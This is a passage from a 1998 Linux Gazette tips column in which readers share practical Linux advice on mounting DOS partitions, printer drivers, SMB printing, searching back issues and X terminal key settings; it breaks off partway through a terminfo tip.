CONTENTS ]"></A>
<A HREF="../index.html"><IMG SRC="../gx/homenew.gif" ALT="[ FRONT
PAGE ]"></A>
<A HREF="./lg_tips34.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P>
<h5>This page written and maintained by the Editor of <I>Linux Gazette</I>,
<A HREF="mailto: gazette@ssc.com">gazette@ssc.com</A><BR>
Copyright © 1998 Specialized Systems Consultants, Inc. </H5>
<P>
<H4>"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <hr> <P>
<!-- QUICK TIPS SECTION ================================================== -->
<center>
<H1><A NAME="tips"><IMG ALIGN=MIDDLE ALT="" SRC="../gx/twocent.gif">
More 2¢ Tips!</A></H1> <BR>
Send Linux Tips and Tricks to <A HREF="mailto:gazette@ssc.com">
gazette@ssc.com
</A></center>
<p><hr><p>
<H3>Contents:</H3>
<ul>
<li><a HREF="./lg_tips34.html#snider">
No Linux support Lexmark 40 printers
</a>
<li><a HREF="./lg_tips34.html#Pospisek">
The Mailbag: Re: text browsers
</a>
<li><a HREF="./lg_tips34.html#mcnamara">
RE: Problem mounting vfat filesystem ...
</a>
<li><a HREF="./lg_tips34.html#greene">
Re: Linux Newbie
</a>
<li><a HREF="./lg_tips34.html#marshall">
Locally Searching the <I>Linux Gazette</I>
</a>
<li><a HREF="./lg_tips34.html#matthews">
Re: Problem mounting vfat filesystem
</a>
<li><a HREF="./lg_tips34.html#young">
Mounting DOS Partitions in Linux
</a>
<li><a HREF="./lg_tips34.html#smith1">
Re: Canon BJC-250 question
</a>
<li><a HREF="./lg_tips34.html#smith2">
Re: Help : Modem + HP
</a>
<li><a HREF="./lg_tips34.html#westley">
Gnat and Linux: C++ and Java Under Fire LG #33
</a>
<li><a HREF="./lg_tips34.html#hammel1">
Re: Canon BJC-250 question
</a>
<li><a HREF="./lg_tips34.html#carlson">
re: problem mounting vfat filesystem
</a>
<li><a HREF="./lg_tips34.html#downs">
SMB Printing for users with spaces in their SMB username
</a>
<li><a HREF="./lg_tips34.html#baader">
2 Cent Tip -- Netscape
</a>
<li><a HREF="./lg_tips34.html#leach">
Cobol
</a>
<li><a HREF="./lg_tips34.html#csmith">
Piped Signatures
</a>
<li><a HREF="./lg_tips34.html#siew1">
Fixing backspace and delete Key in X-windows
</a>
<li><a HREF="./lg_tips34.html#siew2">
Creating bzgrep Program
</a>
<li><a HREF="./lg_tips34.html#hammel2">
Re: Linux on PalmPilot
</a>
<li><a HREF="./lg_tips34.html#brais">
Red Hat 5.1 + Acrobat Reader 3.01 HOWTO
</a>
<li><a HREF="./lg_tips34.html#poel">
2 $.25 tips
</a>
<li><a HREF="./lg_tips34.html#jalics">
S3 Virge/DX and XFree
</a>
</ul>
<P> <HR> <P>
<!--====================================================================-->
<a name="snider"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
No Linux support Lexmark 40 printers
</H3>
Date: Thu, 15 Oct 1998 12:18:37 -0600 (MDT)<BR>
From: "D. Snider", <A HREF="mailto:dsnider@nmia.com">dsnider@nmia.com</A>
<P>
For your information:<BR>
The Lexmark 40 color printers do all setup/alignment from MS whatever OS.
<P>
Lexmark first told me they don't support Linux
on their new 40 & 45 printers (all alignment functions are from software
under MS something). But hey, the guys at Lexmark came through. They sent me a
<A HREF="./tips_cartutil.c">C program</A> for aligning the printer.
<P>
It would be a good candidate to go into an archive (sunsite.unc.edu). I
don't know the process for putting software into an archive so I am
passing it on to you folks. I also am sending it to Grant Taylor
gtaylor+pht@picante.com, who is listed as the custodian of the
Printing-HOWTO. The model 40 printer is PostScript and works well.
<P>
Cheers<BR>
Dale
<!--================================================================-->
<a name="pospisek"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
The Mailbag: Re: text browsers
</H3>
Date: Mon, 05 Oct 1998 19:46:43 +0200<BR>
From: Tomas Pospisek - Sysadmin, <A HREF="mailto:tpo@spin.ch">
tpo@spin.ch</A>
<blockquote> <font color="navy">
User has problems with <B>, that is not visible in lynx.
</font></blockquote>
Well, this is not the problem of the page, but a problem of lynx
configuration. At the bottom of the default lynx config file one can
configure the colors for the display of the different tags as one
wishes. It is very clear from the comments in the config file on how to
do it. One can start lynx with an option <tt>lynx -f config.file</tt> if I
remember right.
<P>
Tomas
<P> <hr> <P>
<!--================================================================-->
<a name="mcnamara"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
RE: Problem mounting vfat filesystem ...
</H3>
Date: Mon, 05 Oct 1998 10:13:54 +0100 (IST)<BR>
From: Caolan McNamara, <A HREF="mailto:Caolan.McNamara@ul.ie">
Caolan.McNamara@ul.ie</A>
<blockquote> <font color="navy">
Jan Jansta wrote...<BR>
I have permanent problem with mounting any vfat/dos filesystem with write
permisions for all users on my Linux machine. I'm using
Red Hat 5.1, kernel version 2.0.34 .
Does someone know what's not working properly ?
</font></blockquote>
Here's what I've done. The exact line from my /etc/fstab:
<PRE>
/dev/hda1 /mnt/win95 vfat umask=000,auto 1 1
</PRE>
The trick is in setting the umask.
Caolan
<P> <hr> <P>
<!--================================================================-->
<a name="greene"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Linux Newbie
</H3>
Date: Sat, 03 Oct 1998 12:59:16 +0200<BR>
From: "Anthony E. Greene", <A HREF="mailto:agreene@pobox.com">
agreene@pobox.com</A>
<P>
I saw your letter to Linux Gazette and decided to drop you a few pointers.
<P>
Linux Documentation Project: <BR>
First, the Linux Documentation Project is your friend. Take a look around
the site <A
HREF="http://sunsite.unc.edu/LDP/">http://sunsite.unc.edu/LDP/</A>. The documents that you'll find most
valuable as a new Linux user are the "Installation and Getting Started
Guide" and the "The Linux Users' Guide". Both are available for download in
multiple formats. Descriptions and pointers are at
http://sunsite.unc.edu/LDP/ldp.html. If you really consider yourself (or
your curious friends) clueless, then I'd advise you to buy a ream of paper
and print the PDF version of the Linux User's Guide for casual reading.
Then get one of the easier distributions, back up your Win95 data, and give
Linux a whirl.
<P>
Linux Distributions:<BR>
I'd recommend Caldera <A
HREF="http://www.caldera.com/">http://www.caldera.com/</A> for casual non-programmers
that are comfortable with Win95 and just want to try Linux. Current
versions of Caldera come with the KDE desktop <A
HREF="mailto:http://www.kde.org/">http://www.kde.org/</A>. KDE
presents a familiar interface to Win95 users. Red Hat
<A HREF="http://www.redhat.com/">http://www.redhat.com/</A> is very popular and also relatively easy but is
oriented more toward knowledgeable computer users. I'm not familiar enough
with SUSE <A HREF="http://www.suse.com/">http://www.suse.com/</A> to make a recommendation, although it's
supposed to be easy too. Debian <A
HREF="http://www.debian.org/">http://www.debian.org/</A> and Slackware
<A HREF="http://www.slackware.org/">http://www.slackware.org/</A> are considered by most to be for those who
already know how to install and use Linux. There are other distributions,
but these are the most popular.
<P>
Included Documentation:<BR>
Once you get Linux installed, fire up Midnight Commander from the command
line using 'mc'. This is an easy to use file manager that, despite its DOS
look & feel, is also powerful. Use it to take a look around the /usr/doc
directory for the wealth of documentation installed in any popular Linux
system. You'll be astounded at the amount of information available if
you're accustomed to the Win95 way of doing things. The HOWTO documents in
particular will be very useful to new users. HOWTOs are cookbook-style
documents written by Linux users who have taken the time to share the steps
they took to accomplish something in Linux. Perhaps if you use Linux for a
while, you'll have occasion to write a HOWTO of your own.
<P>
Manual Pages<BR>
If you see references to a command in Linux and would like to know more
about using it, chances are you'll find a comprehensive description of the
command and all its options in the associated Manual Page. Just type: 'man
command' at the command line, substituting the name of the command you're
interested in and you'll be presented with a summary of the syntax, usage,
and available options for the command. Many man pages also include examples
and references to related man pages and commands. To see how to use the
manual page system itself, just use 'man man'.
<P>
Mailing Lists and Newsgroups<BR>
Mailing lists and newsgroups provide a good way to find the answer to a
question you haven't been able to find the answer to in the extensive
documentation included with Linux or available from the LDP. Mailing lists
are generally archived and the archives will probably be able to answer
your question. If not, post a note asking for a pointer to the
documentation and you'll probably get several good answers. If the problem
is simple enough, you'll probably get an explanation too. I've found
pointers to comprehensive documentation to be more valuable in the long run
though. Often, understanding the solution to one problem allows you to
solve other problems later. When subscribing to a mailing list or
newsgroup, try to find one that's specific to the distribution you use.
Most things are the same across distributions, but there are enough small
differences that new users would be best served by getting help that's
specific to their distribution.
<P>
One more thing; be prepared to do lots of reading. ;-)
<P>
--<BR>
Anthony E. Greene
<P> <hr> <P>
<!--================================================================-->
<a name="marshall"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Locally Searching the <I>Linux Gazette</I>
</H3>
Date: Sat, 3 Oct 1998 01:33:17 -0400 (EDT)<BR>
From: Ray Marshall, <A HREF="mailto:raym@vnet.net">raym@vnet.net</A>
<P>
To begin with, I often like to browse and/or reference present and past
issues of the <I>Linux Gazette</I>. But, since I'm not always connected to the
Internet, and even when I am, I hate waiting for a page to download; I
mirror it locally, both at home, and at work.
<P>
On occasion I have found myself grepping the TWDT files for specific
references to various topics, commands, packages, or whatever. But,
just a plain grep of lg/issue??/issue??.html, will only show references
in all but the first 8 issues. So, I made some minor changes in
lg/issue01to08, and put an alias (command) in ~/.bashrc, to allow easy
scanning of ALL issues.
<P>
First, the changes:
<PRE>
cd ~/html/lg/issue01to08
ln linux_gazette.html lg_issue1.html
ln linux_gazette.aug.html lg_issue2.html
ln linux_gazette.sep.html lg_issue3.html
ln linux_gazette.oct.html lg_issue4.html
ln linux_gazette.nov.html lg_issue5.html
</PRE>
Now the command declaration (for bash):
<PRE>
lgfind () { command grep -i ""$@"" ~/html/lg/issue01to08/lg_issue?.html ~/html/lg/issue??/issue??.html | more ; }
</PRE>
The same declaration in C-shell (csh):
<PRE>
alias lgfind 'grep -i ""\!*"" ~/html/lg/issue01to08/lg_issue?.html ~/html/lg/issue??/issue??.html | more'
</PRE>
I suppose I could have used "linux_gazette*" in my grep, but that would
have put the resulting output out of order. Besides, these links allow
the grep to show which issue number a match is found in.
<P>
And I suppose I could also have created either soft or hard links to ALL
of the TWDT files in another directory. But I would then have to go there
and add another link, every time a new issue came out.
<P>
Using this is simple, just:
<PRE>
lgfind <string>
</PRE>
and obvious to most experienced UNIX users, I quote the string if it
contains spaces. Also, the string can be a regex expression. You may
have noticed the "-i" -- I don't like having to remember the case of
the characters I'm looking for.
<P>
Once I have the output of lgfind, I point my browser to another html page
that I have generated, that contains just links to all of the TWDT files.
I will attach that page to this message. You can either add it to the
base files, publish it, or whatever TYO. ;-) I put it in the directory
that contains your `lg' directory.
<P>
I hope this helps someone else, too.
<P>
Ray Marshall
<P>
PS: I agree with your decision to use "TWDT". It can be read in whatever
way one wishes, including very inoffensively. Wise choice.
<P> <hr> <P>
<!--================================================================-->
<a name="matthews"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Problem mounting vfat filesystem
</H3>
Date: Fri, 02 Oct 1998 21:48:55 +0000<BR>
From: Nick Matthews, <A HREF="mailto:jerrikthyne@geocities.com">
jerrikthyne@geocities.com</A>
<P>
<blockquote> <font color="navy">
From: Jan Jansta<BR>
I have a permanent problem with mounting any vfat/dos filesystem with
write permissions for all users >on my Linux
machine. I'm using Red Hat 5.1, kernel version 2.0.34
Does someone know what's not working properly ?
</font></blockquote>
<P>
I had somewhat the same problem. What I did was to put this in my
<PRE>
/etc/fstab:
/dev/hda1 /dos vfat user,noauto 0
0
</PRE>
I don't always want my /dos partition mounted, because I don't want its
files cluttering up my db for locating files. But making it a user
partition means that anyone can mount and use it.
<P>
Good luck,<BR>
Nick
<P> <hr> <P>
<!--================================================================-->
<a name="young"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Mounting DOS Partitions in Linux
</H3>
Date: Fri, 02 Oct 1998 17:08:23 -0400<BR>
From: Ed Young, <A HREF="mailto:youngej@magpage.com">
youngej@magpage.com</A>
<P>
Secure Mounting for DOS Partitions:
<P>
In order to open up permissions on your DOS partitions in a
secure way, do the following:
<P>
Note: in the samples below, the dos usrid (63) and grpid(63)
were selected so they wouldn't duplicate any other
usrid or grpid in /etc/passwd or /etc/group.
<P>
Also, this solution works with Red Hat 5.1, you may
have to adjust it slightly if you are using a
different distribution.
<P>
1) Make a dos user who can't log in by adding the following
line to /etc/passwd:
dos:*:63:63:MSDOS Accessor:/dos:
<P>
2) Make a dos group and add users to the dos group. In the
following example, root and ejy are in the dos group. To
do this, add a line like the following to /etc/group:
dos::63:root,ejy
<P>
3) Add the following line (changed to suit your system) to
<PRE>
/etc/fstab:
/dev/hda1 /C vfat uid=63,gid=63,umask=007 0 0
</PRE>
Of course, you have to locate your DOS partitions in the
first place. This is done by issuing the following
commands as 'root':
<PRE>
/sbin/fdisk -l
df
cat /etc/fstab
</PRE>
The `fdisk -l` command lists all available devices. `df`
shows which devices are mounted and how much is on them.
And /etc/fstab lists all mountable devices. The devices
remaining are extended partitions, a kind of a partition
envelope, which you don't want to mount. And the
partition's allocated to other operating systems which you
may want to mount.
<P>
4) Create a mount point for your DOS disk by issuing the
following commands as root:
mkdir /C
chown dos:dos /C
<P>
With this setup, the C: drive is mounted at boot time to /C.
Only root and ejy can read and write to it. Note that vfat
in /etc/fstab works for vfat16 (and vfat32 natively for
Linux 2.0.34 and above).
<P>
Enjoy...
<P> <hr> <P>
<!--================================================================-->
<a name="smith1"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Canon BJC-250 question
</H3>
Date: Fri, 2 Oct 1998 21:32:20 +0200 (CEST)<BR>
From: <A HREF="mailto:rsmith@xs4all.nl">rsmith@xs4all.nl</A> <BR>
<blockquote> <font color="navy">
In issue 33 of the Linux Gazette you wrote:<BR>
I have a Canon BJC-250 color printer. I have heard many people say that
the BJC-600 printer driver will let me print in color. But I have not
heard anyone say where I can get such a driver. I have looked everywhere
but where it is. Can you help me?
</font></blockquote>
When people are talking about printer drivers for Linux, they are
mostly referring to a piece of code that enables the "Ghostscript"
program to produce output on your printer.
<P>
Ghostscript is an interpreter of the Postscript page-description
language. In the Unix world, it is kind of a lingua franca of talking to
a printer. A lot of programs can produce Postscript output.
<P>
More expensive printers support Postscript in hardware, other printers
need Ghostscript with a driver for that particular printer compiled in.
<P>
Invoke Ghostscript as "gs -?" to see a list of all the printers for
which support is compiled in. If your printer is not in the list, use a
driver for a printer from the same family. Otherwise you might have to
compile GhostScript with another driver.
<P>
The Ghostscript 5.1 that I'm using (Debian distro) is compiled with the
bjc600 driver.
<P>
Roland
<P> <hr> <P>
<!--================================================================-->
<a name="smith2"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Help : Modem + HP
</H3>
Date: Fri, 2 Oct 1998 21:20:58 +0200 (CEST)<BR>
From: Roland Smith, <A HREF="mailto:rsmith@xs4all.nl">
rsmith@xs4all.nl</A>
<blockquote> <font color="navy">
In issue 33 of the Linux Gazette you wrote:<BR>
I have already spent hours trying to fix my Supra336 PnP internal modem
and my HP DeskJet 720C under Linux! The result is always the same, no
communication with teh modem and no page printed on the HP printer!
Could someone help me, I am close to abandon!
</font></blockquote>
To use a Plug-and-Play device under Linux, you have to configure it.
For that, you can use isapnptools package. It will probably be included
with your distribution.
<P>
Log in as root, and execute the command "pnpdump >isapnp.conf"
Now edit this file to choose sensible values for the parameters the
modem requires. Read the isapnp.conf man page. You might want to do
"cat /proc/interrupts", "cat /proc/dma" and "cat /proc/ioports" to see
which interrupts, DMA channels and I/O addresses are already in use.
Once you're finished. copy the isapnp.conf file to /etc (as root). You
can now configure the card by issuing the command "isapnp
/etc/isapnp.conf" as root.
<P>
This probably must be done before the serial ports are configured. Look
at the init(8) manpage, and see where the serial ports are configured in
the system initialization scripts. Make sure that isapnp is called
before the serial ports are configured.
<P>
If the modem is an internal one, you might have to disable one of the
serial ports in your BIOS, so the modem can use in's address and
interrupt.
<P>
Now, about the printer, AFIAK all HP *20 models are Windows-only
printers. They use the host computer's CPU to perform all kinds of
calculations that are normally done by the printer hardware. Therefore
it needs a driver. Since HP doesn't release programming info on these
devices, there will probably never be Linux drivers for these printers.
<P>
You should avoid this kind of brain-dead hardware (mostly referred to as
"winprinters", or "winmodems").
<P>
Hope this helps :-)
<P>
Roland
<P> <hr> <P>
<!--================================================================-->
<a name="westley"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Gnat and Linux: C++ and Java Under Fire LG #33
</H3>
Date: Fri, 2 Oct 1998 14:47:46 -0400<BR>
From: "Terry Westley", <A HREF="mailto:twestley@buffalo.veridian.com">
twestley@buffalo.veridian.com</A>
<P>
If you want the best of both worlds of Java and Ada,
write applets targeted to the JVM in Ada! See these
URLs for further info:
<P>
http://www.adahome.com/Resources/Ada_Java.html
http://www.buffnet.net/~westley/AdaJava/
<P>
--<BR>
Terry J. Westley
<P> <hr> <P>
<!--================================================================-->
<a name="hammel1"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Canon BJC-250 question
</H3>
Date: Fri, 2 Oct 1998 10:21:52 -0500 (CDT)<BR>
From: <A HREF="mailto:mhammel@graphics-muse.org">
mhammel@graphics-muse.org</A> <BR>
<blockquote> <font color="navy">
You asked:<BR>
I have a Canon BJC-250 color printer. I have heard many people say that the
BJC-600 printer driver will let me print in color. But I have not heard
anyone say where I can get such a driver. I have looked everywhere but where
it is. Can you help me?
</font></blockquote>
Most printing on Linux is handled through the use of the Ghostscript
drivers. Ghostscript takes postscript input directed to it via the lpr command
and converts it to the raw data streams that a particular output device can
handle. Ghostscript can handle devices like printers but can also be used
to display postscript files to your display (via the ghostview program).
<P>
To see if you have ghostscript installed, type the following:
<PRE>
% gs -v
</PRE>
"gs" is the command name for the ghostscript program (yes, it's really a
program that has a bunch of output drivers compiled into it). The -v
option asks it to print version information. If you have gs installed
you'll see something like this:
<PRE>
Aladdin Ghostscript 4.03 (1996-9-23)
Copyright (C) 1996 Aladdin Enterprises, Menlo Park, CA. All rights
reserved.
Usage: gs [switches] [file1.ps file2.ps ...]
Most frequently used switches: (you can use # in place of =)
-dNOPAUSE no pause after page | -q `quiet', fewer messages
-g<width>x<height> page size in pixels | -r<res> pixels/inch resolution
-sDEVICE=<devname> select device | -c quit (as the last switch)
| exit after last file
-sOutputFile=<file> select output file: - for stdout, |command for pipe,
embed %d or %ld for page #
Input formats: PostScript PostScriptLevel1 PostScriptLevel2 PDF
Available devices:
x11 x11alpha x11cmyk x11mono deskjet djet500 laserjet ljetplus ljet2p
ljet3 ljet4 cdeskjet cdjcolor cdjmono cdj550 pj pjxl pjxl300 bj10e bj200
bjc600 bjc800 faxg3 faxg32d faxg4 pcxmono pcxgray pcx16 pcx256 pcx24b pbm
pbmraw pgm pgmraw pgnm pgnmraw pnm pnmraw ppm ppmraw tiffcrle tiffg3
tiffg32d tiffg4 tifflzw tiffpack tiff12nc tiff24nc psmono bit bitrgb
bitcmyk pngmono pnggray png16 png256 png16m pdfwrite nullpage
Search path:
. : /usr/openwin/lib/X11/fonts/Type1 : /usr/openwin/lib/X11/fonts/Type3 :
/opt/AEgs/share/ghostscript/4.02 : /opt/AEgs/share/ghostscript/fonts
For more information, see /opt/AEgs/share/ghostscript/4.02/doc/use.txt.
Report bugs to ghost@aladdin.com; use the form in new-user.txt.
</PRE>
(the dashed lines are just to delimit the output from my email message)
<P>
This output comes from a version of ghostscript built for a Solaris system
by someone other than myself. I don't know if this is the default set of
devices you'll see on a Linux distribution or not.
<P>
The "available devices" say which devices you can use with gs. In this
case the bubble jet 250 is not specifically listed (I suspect it would say
bjc250, but I could be wrong), so I would (if I were using that particular
printer) have to get the source and read the devices.txt file to find out if
this printer is supported, either by its own driver or by one of the other
drivers (perhaps the bjc600 supports it, for example).
<P>
This is the short explanation. To summarize, you'll need to familiarize
yourself with Ghostscript and using lpr. If you're lucky and this printer
is commonly supported by the various Linux distributions then you may
already have this printer configured in the ghostscript you have installed
on your box.
<P>
For information on Ghostscript you'll need to look at the Ghostscript FAQ
at <A
HREF="http://www.cs.wisc.edu/~ghost/gsfaq.html">http://www.cs.wisc.edu/~ghost/gsfaq.html</A>.
Note that there are two
versions of Ghostscript: Aladdin's and the GNU version. Aladdin's is a
commercial product but it's free for personal use. If you're not planning
on redistributing it then I recommend the Aladdin version.
<P>
Okay, that's all the good news. I just checked the devices list at
<A HREF="http://www.cs.wisc.edu/~ghost/aladdin/devices.html">
http://www.cs.wisc.edu/~ghost/aladdin/devices.html</A> and it doesn't list the
Canon Color Bubble Jet 250. If this printer is supported it's either with a
newer, unlisted driver or by one of the other drivers. You'll probably
need to check the .txt files that come with the source, find the author of
the Color Bubble Jet drivers and drop them a line to see if they know if
this printer will work with one of the existing drivers.
<P>
Hope that helps point you in the right direction.
<P>
Michael J. Hammel,
The Graphics Muse
<P> <hr> <P>
<!--================================================================-->
<a name="carlson"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
re: problem mounting vfat filesystem
</H3>
Date: Fri, 2 Oct 1998 08:20:38 -0500 (CDT)<BR>
From: Scott Carlson, <A HREF="mailto:scottcarlson@technologist.com">
ScottCarlson@technologist.com</A>
<P>
Jan, <BR>
My /etc/fstab contains this line:
<PRE>
/dev/hda4 /f: vfat defaults,umask=007,gid=101 1 1
</PRE>
This mounts my dos directory at /f: ( to match when I boot NT ) it allows
root, or anyone in the group 101 to read or write the directory. I set up
the 101 group so I could say only people in that group could write to /f:
<P>
To allow everyone change it to defaults,umask=000
<P>
Scott Carlson
<P> <hr> <P>
<!--================================================================-->
<a name="downs"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
SMB Printing for users with spaces in their SMB username
</H3>
Date: Tue, 06 Oct 98 14:31:42 -0800<BR>
From: <A HREF="mailto:vwdowns@bigfoot.com">vwdowns@bigfoot.com</A> <BR>
<P>
In order to get SMB printing to work under Red Hat Linux 5.1
with my username
(which has a single space in it), I made the following
addition to the Red Hat print filter "smbprint", located in:
/usr/lib/rhs/rhs-printfilters/smbprint
<PRE>
USER="`echo $usercmd | awk '{printf "%s %s", $2,
$3}'`"%$password
usercmd=""
</PRE>
(The above lines were inserted just prior to the last line
in the script, which on my
system was):
<PRE>
(echo "print -"; cat) | /usr/bin/smbclient "$share"
$password -E ${hostip:+-I} $hostip -N -P $usercmd
2>/dev/null
</PRE>
This has the effect of setting the USER variable to "User
Name"%password, where User Name is the name of the user as
passed in to the script in the $usercmd varible. AWK is used
to strip out the leading "-U" supplied as part of $usercmd
somewhere up the command chain.
<P>
This solution only works for usernames with a single space
in them. A more complex and full-featured solution would
deal with no spaces or multiple spaces, either way. In any
case, I feel Red Hat should find a general solution to this
and incorporate it in their next release.
<P>
Warren
<P>
P.S. Thanks for a great forum for sharing tips and tricks
for Linux. BTW, does Red Hat read these tips? I'd
appreciate it if someone would submit this bug to them for
fixing.
<B>Generalized fix for SMB printing-- usernames w/spaces</B>
Date: Wed, 07 Oct 98 06:38:02 -0800<BR>
From: <A HREF="mailto:vwdowns@bigfoot.com">vwdowns@bigfoot.com</A> <BR>
<P>
I wrote you earlier about a bug in Red Hat 5.1's
/usr/lib/rhs/rhs-printfilters/smbprint
<P>
I later realized a simple generalized solution, by looking
at the
source code in more detail. The lines I added before can be
replaced with:
<PRE>
export USER="$user"%$password
usercmd=""
</PRE>
(Just prior to the last line which calls smbclient).
<P>
For a more full-featured fix, simply modify the setting of
$usercmd
to:
1. Replace references to $usercmd with references to $USER.
<P>
2. $USER should be set/exported conditionally as $usercmd is
at present.
<P>
3. $usercmd should be removed entirely from usage.
<P>
The only reliable way to pass a username/password to
smbclient is via
the USER environment variable.
<P>
1. The environment variable will not be seen on the cmd line
by someone running ps, thus not exposing your password
accidentally.
<P>
2. User names/passwords passed on the command line cannot
contain spaces. If you embed them in quotes, smbclient
keeps the quotes instead of trimming them off, causing
username/password mismatch on the server. If you leave off
the quotes, normal command-line parsing separates the
username/password into separate parameters, and only the
first word of each will get used.
<P>
Anyone using Red Hat print-filters will want to fix this,
just in case they ever decide to set up SMB printing and are
stuck with spaces in their username/password (as I am).
<P>
Warren E. Downs
<P> <hr> <P>
<!--================================================================-->
<a name="baader"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
2 Cent Tip -- Netscape
</H3>
Date: Sun, 11 Oct 1998 10:37:37 +0200 (MET DST)<BR>
From: Hans-Joachim Baader, <A HREF="mailto:hans@grumbeer.inka.de">
hans@grumbeer.inka.de </A>
<P>
we all use Netscape every now and then. Most people won't use it as
mailreader since it is too bloated, and the UNIX mailreaders are
generally much better.
<P>
Nevertheless, Netscape seems to create a directory nsmail in the user's
home directory every time it starts and doesn't find it, even if mail
is not used. This is annoying. Here's a trick which doesn't make this
directory go away, but at least makes it invisible.
<P>
I didn't find a GUI equivalent to change this setting so you have to
do the following:
<P>
Edit the file ~/.netscape/preferences.js and change all occurences of
'nsmail' to '.netscape'. The important thing here is, of course, the
leading dot before 'netscape'.
<P>
Regards,<BR>
hjb
<P> <hr> <P>
<!--================================================================-->
<a name="leach"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Cobol
</H3>
Date: Wed, 14 Oct 1998 23:10:35 +1000<BR>
From: "John Leach", <A HREF="mailto:leachj@ozemail.com.au">
leachj@ozemail.com.au</A> <BR>
To: cbbrowne@hex.net
<P>
I saw your request for help in the Linux Gazette re Cobol.
I've been using AcuCobol for 2 years under Linux and I strongly recommend
the product and the company.
<P>
I don't know the cost of the compiler because my company bought it - but
email them and ask for a student copy - they can only refuse...
They have a full development environment called 'AcuBench' which currently
only runs only under Windows.
<P>
The amazing thing about AcuCobol is that programs compiled on one platform
will run totally unchanged on another machine - I tend to develop under
Windows but install at clients sites on Linux.
I hope this has been helpful.
<P>
Regards<BR>
John Leach
<P> <hr> <P>
<!--================================================================-->
<a name="csmith"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Piped Signatures
</H3>
Date: Fri, 16 Oct 1998 17:03:41 +0000<BR>
From: Colin Smith, <A HREF="mailto:colin@melly.europe.dg.com">
colin@melly.europe.dg.com</A>
<P>
This has probably come up before, but the "more fun with pipes" thing in
issue 33 reminded me of it.
<P>
Have a different signature appear in your emails every time you send
one.
<P>
Create a subdrectory in your home called .signatures and copy your
.signature file into it under a visible name.
delete your .signature file and create a pipe in its place using
<PRE>
mkfifo .signature
</PRE>
Create a script which simply "cat"s each of the files in the .signatures
directory out to the .signature pipe:
<PRE>
#!/bin/sh
while true
do
for SIGNATURE in ${HOME}/.signatures/*
do
# Cat each file out to the .signature and throw away any errors.
cat ${SIGNATURE} > ${HOME}/.signature 2> /dev/null
# This sleep seems to be required for Netscape to work properly
# I think buffering on the filesystem can cause multiple signatures
# to be read otherwise. I think the sleep allows Netscape to see
# the End Of File.
sleep 1
done
done
</PRE>
Have this script kick off in the background every time you log in to the
system in your profile or xsession. Add more entries to the .signatures
directory and they automatically get used in your emails.
<P>
Issues and problems:<BR>
One issue might be blocking on the pipe. If there is no process feeding
signature files down the pipe, any programs which open the pipe can
appear to hang until something is written.
<P>
--<BR>
Colin Smith
<P> <hr> <P>
<!--================================================================-->
<a name="siew1"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Fixing backspace and delete Key in X-windows
</H3>
Date: Sun, 18 Oct 1998 17:40:28 +1000<BR>
From: "Steven K.H. Siew",<A HREF="mailto:ksiew@tig.com.au">
ksiew@tig.com.au</A>
<P>
If you have installed Red Hat version 5.0, you will have come across this
problem. It will not take you long to realise that the backspace key (by
this I mean the key above the ENTER key) and the delete key (by this I mean
the key below the INSERT key and to the left of the END key) behaves
differently on the console than on xterm in X-windows.
<P>
This is extremely irritating if like me you work in both the text-only
console and xterm on X-windows. I set about to make sure that the behaviour
is the same on both of them. In other words I want them to be standardise.
<P>
My solution is to make the backspace, delete and the pageup and pagedown key
to behave exactly like they do in the text-only console.
<P>
The literature to do this is available on the web, however here I shall show
those who have not done this yet, the steps needed to acheive this. A word
of warning! This is dangerous. You can potentially stuff things up very very
badly. In other words you must do this extremely carefully (and make lots of
backups).
<P>
For your information I included the links below where you may obtain more
details about this matter.
<P>
http://www.best.com/~aturner//RedHat-FAQ/
http://www.ibbnet.nl/~anne/keyboard.html
<P>
Okay now for the step by step instruction to fix the problem
<P>
Step one <BR>
* * * is to create a directory to store the original files
<PRE>
ksiew > mkdir original-terminfo-file
ksiew > cd original-terminfo-file/
original-terminfo-file > pwd
/home/ksiew/original-terminfo-file
</PRE>
<P>
Step two<BR>
* * * is to save the original copy of the xterm terminfo file
<PRE>
original-terminfo-file > locate xterm | grep terminfo | grep x/xterm
/usr/lib/terminfo/x/xterm
/usr/lib/terminfo/x/xterm-bold
/usr/lib/terminfo/x/xterm-color
/usr/lib/terminfo/x/xterm-nic
/usr/lib/terminfo/x/xterm-pcolor
/usr/lib/terminfo/x/xterm-sun
/usr/lib/terminfo/x/xterms
/usr/lib/terminfo/x/xterms-sun
original-terminfo-file > cp /usr/lib/terminfo/x/xterm xterm.original
original-terminfo-file > ls -al
total 5
drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 15:35 .
drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 15:31 ..
-rw-rw-r-- 1 ksiew ksiew 1380 Oct 18 15:35 xterm.original
</PRE>
Step three<BR>
* * * is to obtain the xterm terminfo settings and save it into a file
called "xterm" in the current directory
<P>
<pre>
original-terminfo-file > infocmp xterm > xterm
original-terminfo-file > less ./xterm
# Reconstructed via infocmp from file: /usr/lib/terminfo/x/xterm
